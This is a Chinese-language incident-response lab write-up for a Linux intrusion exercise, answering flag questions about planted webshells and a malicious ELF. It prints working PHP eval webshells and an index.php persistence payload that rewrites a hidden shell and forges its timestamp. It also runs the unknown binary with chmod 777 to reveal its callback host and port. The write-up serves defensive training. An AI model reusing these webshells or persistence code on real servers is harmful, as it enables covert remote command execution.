文章目录
-
- [第一章 应急响应- Linux入侵排查](#第一章 应急响应- Linux入侵排查)
第一章 应急响应- Linux入侵排查
账号:root 密码:linuxruqin
ssh root@IP
1.web目录存在木马,请找到木马的密码提交
2.服务器疑似存在不死马,请找到不死马的密码提交
3.不死马是通过哪个文件生成的,请提交文件名
4.黑客留下了木马文件,请找出黑客的服务器ip提交
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交
1.web目录存在木马,请找到木马的密码提交
和上一次的webshell查杀一样,可以尝试搜索jsp、php、asp、aspx这几种特殊后缀文件,并尝试寻找其中的危险函数来查找webshell。
bash
//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec("
find ./ type f -name "*.php" | xargs grep "eval("
find ./ type f -name "*.asp" | xargs grep "execute("
find ./ type f -name "*.aspx" | xargs grep "eval("
命令解析:
bash
find ./ type f -name "*.php" | xargs grep "eval("
find ./ type f -name "*.php"
:在当前目录及子目录下,寻找以.php
后缀结尾的文件。,输出其文件路径。xargs
:xargs会将前面所得到的文件对应的路径,传递给grep,并且让 grep 在每个文件的内容中查找。grep "eval("
:在文件内容中查找字符串"eval("
这里在搜索.php
文件并过滤eval函数的时候,得到了三个文件.shell.php
、index.php
、1.php
bash
root@ip-10-0-10-4:/var/www# find ./ type f -name "*.php" | xargs grep "eval("
find: 'type': No such file or directory
find: 'f': No such file or directory
./html/.shell.php:<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>
./html/index.php:$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
./html/1.php:<?php eval($_POST[1]);?>
看到1.php
中一句话木马密码为1
flag{1}
2.服务器疑似存在不死马,请找到不死马的密码提交
上面还有.shell.php
和index.php
这两个文件,挨个看一下
bash
root@ip-10-0-10-4:/var/www# cd html
root@ip-10-0-10-4:/var/www/html# cat .shell.php
<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>
root@ip-10-0-10-4:/var/www/html# cat index.php
<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
$path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>
php
//shell.php
<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>
由index.php
产生的,这段代码作用是判断传入的密码的MD5值是否正确,如果正确,则可以通过POST提交的参数cmd进行命令执行。
php
//index.php
<?php
//引入外部文件
include('config.php'); //config.php通常是配置文件
include(SYS_ROOT.INC.'common.php'); //common.php通常是公共的辅助函数或类库
//获取路径
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
$path=substr($path,1);
}
$path = Base::safeword($path); //做安全处理,对路径进行过滤
//控制器
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
Index::run($path);
}
//创建恶意文件,并将恶意代码写入其中
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php'); //伪造文件时间戳
usleep(3000); //增加延迟避免监控
?>
密码的MD5值:5d41402abc4b2a76b9719d911017c592
经过MD5解密:hello
flag{hello}
3.不死马是通过哪个文件生成的,请提交文件名
由上一题分析得到,不死马由index.php生成。
flag{index.php}
4.黑客留下了木马文件,请找出黑客的服务器ip提交
返回web目录,查看一下还有什么,看到一个可疑的文件'shell(1).elf'
。可以尝试执行一下,然后查看连接的服务器。
bash
root@ip-10-0-10-4:/var/www/html# ls
1.php admin config.php favicon.ico index.php LICENSE README.md 'shell(1).elf' template
1.tar api.php data include install.php pictures rss.php sitemap.php wap
root@ip-10-0-10-4:/var/www/html# ./'shell(1).elf'
-bash: syntax error near unexpected token `1'
root@ip-10-0-10-4:/var/www/html# chmod 777 'shell(1).elf'
root@ip-10-0-10-4:/var/www/html# ./'shell(1).elf'
在html目录下存在一个'shell(1).elf'文件,尝试执行,发现没有权限,直接给777权限,然后执行。
这里执行之后是没有任何回显的,需要再开一个连接。
bash
root@ip-10-0-10-4:~# netstat -antlp | more
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 553/mysqld
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 496/sshd
tcp 0 0 10.0.10.4:22 223.102.112.50:17121 ESTABLISHED 1230/sshd: root@not
tcp 0 168 10.0.10.4:22 223.102.112.50:17216 ESTABLISHED 8360/sshd: root@pts
tcp 0 0 10.0.10.4:22 188.165.33.179:35306 SYN_RECV -
tcp 0 1 10.0.10.4:33052 10.11.55.21:3333 SYN_SENT 6941/./shell(1).elf
tcp 0 0 10.0.10.4:22 223.102.112.50:17101 ESTABLISHED 814/sshd: root@pts/
tcp6 0 0 :::80 :::* LISTEN 680/apache2
tcp6 0 0 :::22 :::* LISTEN 496/sshd
命令分析:
bash
netstat -antlp | more
netstat用于显示网络连接、路由表、接口统计信息、伪装连接和多播成员信息。可以用于显示网络连接和监听端口的详细信息。
-a
:显示所有连接中的端口,包括监听和非监听。-n
:以数字形式显示地址和端口号,而不是将其解析为主机名或服务名。-t
:显示 TCP 连接。-l
:显示监听状态的套接字。-p
:显示使用每个套接字的程序。
使用more命令通过分页方式呈现输出内容。
找到连接的ip:10.11.55.21
flag{10.11.55.21}
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交
同上
flag{3333}
利用工具排查
将/var/www/html目录dump下来,使用D盾扫描
扫出来的第二个文件1.php
,即为第一问所需的文件。
扫出来的第四个文件index.php
,即为第二问、第三问所需的文件。
剩下的没有扫出来的使用云沙箱等工具扫描,这里使用微步的云沙箱发现shell(1).elf文件,并且可以找到服务器ip以及端口。